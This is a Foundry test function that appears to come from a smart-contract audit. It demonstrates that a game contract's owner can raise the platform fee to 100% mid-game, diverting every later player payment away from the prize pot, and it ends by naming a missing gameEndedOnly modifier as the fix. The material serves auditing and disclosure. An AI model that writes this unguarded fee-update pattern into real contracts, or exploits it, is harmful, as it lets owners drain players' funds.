function testVulnerability_PlatformFeeManipulation() public {
console2.log("=== PLATFORM FEE VULNERABILITY DEMONSTRATION ===");
console2.log("Initial platform fee percentage:", game.platformFeePercentage(), "%");
assertEq(game.platformFeePercentage(), 5, "Initial platform fee should be 5%");
uint256 claimAmount = 1 ether;
vm.prank(player1);
game.claimThrone{value: claimAmount}();
uint256 platformFeesBefore = game.platformFeesBalance();
uint256 potBefore = game.pot();
console2.log("\nAfter first claim (5% platform fee):");
console2.log(" Claim amount:", claimAmount);
console2.log(" Platform fees collected:", platformFeesBefore);
console2.log(" Pot amount:", potBefore);
uint256 expectedPlatformFee = (claimAmount * 5) / 100;
uint256 expectedPotAmount = claimAmount - expectedPlatformFee;
assertEq(platformFeesBefore, expectedPlatformFee, "Platform fees should be 5%");
assertEq(potBefore, expectedPotAmount, "Pot should be 95%");
vm.prank(owner);
game.updatePlatformFeePercentage(100);
console2.log("\nAfter platform fee update (100%):");
console2.log(" New platform fee percentage:", game.platformFeePercentage(), "%");
vm.prank(player2);
game.claimThrone{value: claimAmount}();
uint256 platformFeesAfter = game.platformFeesBalance();
uint256 potAfter = game.pot();
console2.log("\nAfter second claim (100% platform fee):");
console2.log(" Claim amount:", claimAmount);
console2.log(" Platform fees collected:", platformFeesAfter);
console2.log(" Pot amount:", potAfter);
uint256 platformFeeIncrease = platformFeesAfter - platformFeesBefore;
uint256 potIncrease = potAfter - potBefore;
console2.log("\nVULNERABILITY CONFIRMED:");
console2.log(" Platform fee increase:", platformFeeIncrease);
console2.log(" Pot increase:", potIncrease);
console2.log(" All funds went to platform fees, nothing to pot!");
assertEq(platformFeeIncrease, claimAmount, "100% of claim went to platform fees");
assertEq(potIncrease, 0, "0% went to pot (VULNERABILITY!)");
console2.log("\n=== VULNERABILITY IMPACT ===");
console2.log("1. Owner can change platform fee during active game (missing gameEndedOnly modifier)");
console2.log("2. Players' funds go to platform fees instead of pot");
console2.log("3. Winners get nothing (pot is empty)");
console2.log("4. Economic model completely broken");
console2.log("5. Platform fees can be manipulated to steal all funds");
uint256 totalTheft = platformFeeIncrease;
console2.log(" Total funds stolen from pot:", totalTheft);
console2.log(" Theft percentage: 100%");
assertGt(totalTheft, 0, "Funds should be stolen from pot");
}
Simple addition of gameEndedOnly modifier fixes the issue and prevents vulnerability